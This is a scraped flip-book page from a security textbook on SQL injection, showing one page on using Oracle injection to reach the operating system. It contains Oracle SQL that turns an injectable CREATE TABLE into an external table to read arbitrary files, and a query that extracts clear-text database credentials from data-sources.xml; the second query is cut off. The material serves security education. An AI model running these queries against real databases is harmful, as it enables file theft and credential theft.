28.10.2014 Views

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

290 Chapter 6 • Exploiting the Operating System<br />

Since Oracle 9i Rel. 2, Oracle offers the ability to read files via external tables. Oracle<br />

uses the <strong>SQL</strong>*Loader or Oracle Datapump (since 10g) to read data from a structured file.<br />

If an <strong>SQL</strong> injection vulnerability exists in a CREATE TABLE statement, it’s possible to<br />

modify the normal table to an external table.<br />

Here is the sample code for an external table:<br />

create directory ext as 'C:\';<br />

CREATE TABLE ext_tab (<br />

line varchar2(256))<br />

ORGANIZATION EXTERNAL (<br />

TYPE oracle_loader<br />

DEFAULT DIRECTORY ext<br />

ACCESS PARAMETERS (<br />

RECORDS DELIMITED BY NEWLINE<br />

BADFILE 'bad_data.bad'<br />

LOGFILE 'log_data.log'<br />

FIELDS TERMINATED BY ','<br />

MISSING FIELD VALUES ARE NULL<br />

REJECT ROWS WITH ALL NULL FIELDS<br />

(line))<br />

LOCATION ('victim.txt')<br />

)<br />

PARALLEL<br />

REJECT LIMIT 0<br />

NOMONITORING;<br />

Select * from ext_tab;<br />

The next code snippet reads the username, clear-text password, <strong>and</strong> connect string from<br />

the data-sources.xml file. This is a default file (in Oracle 11g) <strong>and</strong> it contains a connect string<br />

for Java. The big advantage of this code is the fact that you can use it inside select statements<br />

in a function or as a UNION SELECT.<br />

select<br />

extractvalue(value(c), '/connection-factory/@user')||'/'||extractvalue(value(c),<br />

'/connection-factory/@password')||'@'||substr(extractvalue(value(c),<br />

'/connection-factory/@url'),instr(extractvalue(value(c),<br />

'/connection-factory/@url'),'//')+2) conn<br />

FROM table(<br />

XMLSequence(<br />

extract(<br />

xmltype(

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!